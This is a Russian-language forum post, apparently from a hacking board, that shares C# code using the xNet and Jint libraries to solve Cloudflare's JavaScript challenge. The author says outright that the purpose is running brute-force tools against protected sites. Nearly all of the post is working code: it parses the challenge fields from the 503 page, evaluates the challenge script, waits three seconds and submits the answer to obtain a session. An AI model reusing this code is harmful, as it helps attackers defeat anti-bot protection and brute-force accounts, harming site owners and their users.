- Итак для реализации брутов на некоторые сайты с защитой от CloudFlare пришлось как-то разбираться с этим делом, решил поделиться опытом, так что нам понадобится:
1. Прямые руки
2. Visual Studio 2008-2015
Итак, первым делом тыкаем правой кнопочкой на проекте, управление пакетами NuGet, ищем и устанавливаем Jint, интерпритатор Js для c#
Ну а далее код:
Код:
using (var req = new xNet.HttpRequest())
{
var con = "";
var JSEngine = new Jint.Engine();
var uri = new Uri("Сайт.ру");
try
{
req.Cookies = new CookieDictionary();
req.UserAgent = Http.ChromeUserAgent();
//Делаем запрос к сайту с защитой CF, вероятнее всего он выдаст ошибку 503 и отправимся мы в блок Catch
con = req.Get("Сайт.ру").ToString();
}
catch (Exception)
{
//В переменную Con заносим ответ от сайта и парсим нужную инфу
con = req.Response.ToString();
var challenge = Regex.Match(con, "name=\"jschl_vc\" value=\"(\\w+)\"").Groups[1].Value;
var challenge_pass = Regex.Match(con, "name=\"pass\" value=\"(.+?)\"").Groups[1].Value;
var builder = Regex.Match(con, @"setTimeout\(function\(\){\s+(var t,r,a,f.+?\r?\n[\s\S]+?a\.value =.+?)\r?\n").Groups[1].Value;
builder = Regex.Replace(builder, @"a\.value =(.+?) \+ .+?;", "$1");
builder = Regex.Replace(builder, @"\s{3,}[a-z](?: = |\.).+", "");
builder = Regex.Replace(builder, @"[\n\\']", "");
//Выполняем JS
long solved = long.Parse(JSEngine.Execute(builder).GetCompletionValue().ToObject().ToString());
solved += uri.Host.Length; //add the length of the domain to it.
//Ждем 3 сек, иначе CF пошлет нас к хуям
Thread.Sleep(3000);
//Генерируем запрос
string cookie_url = string.Format("{0}://{1}/cdn-cgi/l/chk_jschl", uri.Scheme, uri.Host);
var uri_builder = new UriBuilder(cookie_url);
var query = HttpUtility.ParseQueryString(uri_builder.Query);
query["jschl_vc"] = challenge;
query["pass"] = challenge_pass;
query["jschl_answer"] = solved.ToString();
uri_builder.Query = query.ToString();
req.AllowAutoRedirect = false;
req.Referer = "Сайт.ру";
//Отправляем запрос
con = req.Get(uri_builder.Uri).ToString();
//После данного запроса спокойно можем шакалить по сайту
//Конечно же с данным экземпляром класса
}